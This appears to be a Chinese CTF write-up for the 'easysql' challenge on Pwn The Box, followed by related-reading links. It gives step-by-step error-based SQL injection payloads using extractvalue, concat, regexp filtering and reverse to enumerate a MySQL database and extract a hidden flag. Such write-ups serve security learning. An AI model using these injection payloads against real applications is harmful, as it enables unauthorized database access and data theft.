-
Pwn The Box——easysql
目录
获取real_flag_1s_here字段中的字段值,发现被隐藏
根据题目发现是一个登录注册界面，估计是二次注入，注册一个带有”的账号，发现报错，那么采用报错注入来获取flag
获取数据库名
命令：1"&&(extractvalue(1,concat(1,(select(database())))))#
获取表名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="web_sqli")))))#
获取flag表中的字段名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#
获取flag字段中的字段值，发现flag并不在这
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(flag))from(flag)))))#
获取users表中的字段名
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
获取real_flag_1s_here字段中的字段值,发现被隐藏
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)))))#
采用正则绕过方法，查看flag，发现缺少一部分
命令：1"&&(extractvalue(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P')))))#
反向输出flag
命令：1"&&(extractvalue(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^P'))))))#
-
相关阅读:
nginx降权及匹配php
idea开发工具常用的插件合集汇总
Eigen库中MatrixXd类型与VectorXd类型的相互映射与数据复制
《机器学习》（周志华） 第5章 神经网络 学习心得 笔记
【Python入门教程】Python中函数的用法和意义
Go 代码审计高危漏洞(sqli\cmd\ssrf)
Java类加载机制（JVM）
CSS篇十——（3）
输入网址后发生了什么&没有listen（accept）能建立连接吗&SYN洪水
盘点世界杯有趣小知识！带你感受体育赛事数据可视化的快乐！
- 原文地址：https://blog.csdn.net/longlangci/article/details/126330978